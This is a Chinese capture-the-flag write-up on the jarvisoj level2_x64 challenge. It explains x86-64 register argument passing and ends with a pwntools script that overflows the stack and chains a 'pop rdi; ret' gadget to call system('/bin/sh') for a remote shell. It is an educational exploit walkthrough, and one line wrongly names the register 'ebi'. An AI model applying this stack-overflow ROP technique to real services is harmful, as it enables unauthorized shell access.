jarvisoj level2_x64

checksec查看一下保护的情况


jarvisoj level2_x64_第1张图片
checkesc

好的,只开启了NX,其余的都没有开启。进入ida,shift+F12发现了“bin/sh”字符串,想到要从这部分入手了。


jarvisoj level2_x64_第2张图片
ida里面找到的bin/sh

主要程序反汇编后和level一样,栈溢出很容易找到溢出点。

关键点在于32位和64位传递参数的时候是不同的,32位是所有的参数都入栈,而64位是从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9这6个寄存器当中,从第7个参数开始后的所有参数才会通过栈传递。

也就是说,在32位程序中运行时,调用函数栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->......->参数1

而在64程序中运行时,参数的传递是需要ebi寄存器的,前6个参数按顺序存储在6个寄存器当中,如果函数的参数超过6个,就和32位一样进行压栈。

system我们只需要一个参数,所以这个题目的关键就在于'bin/sh'字符串的地址要放到rdi当中去,所以我们要找到rdi的地址。

那我们就要用到一个小工具,ropgadget来找到我们需要的rop链。
ropgadget可以在汇编语言里面搜索我们需要的字符串或者命令。


jarvisoj level2_x64_第3张图片
很好用的ROPgadget

好的!我们发现了pop rdi ;ret!
即为将栈顶元素弹出并存入寄存器rdi,ret返回栈,所以我们就可以利用它将函数参数传入寄存器。

脚本如下。

from pwn import *

p = remote('pwn2.jarvisoj.com','9882')
elf = ELF('./level2_x64')

sh_addr = elf.search('/bin/sh').next()
print p64(sh_addr)
#sh_addr = 0x0000000000600A90

system_addr = elf.symbols['system']
print p64(system_addr)

junk = 'a' * 0x88

rop_addr = 0x4006b3
#ROPgadget --binary level2_x64 --only 'pop|ret '

payload = junk + p64(rop_addr) + p64(sh_addr) + p64(system_addr) 

p.send(payload)
p.interactive()

你可能感兴趣的:(jarvisoj level2_x64)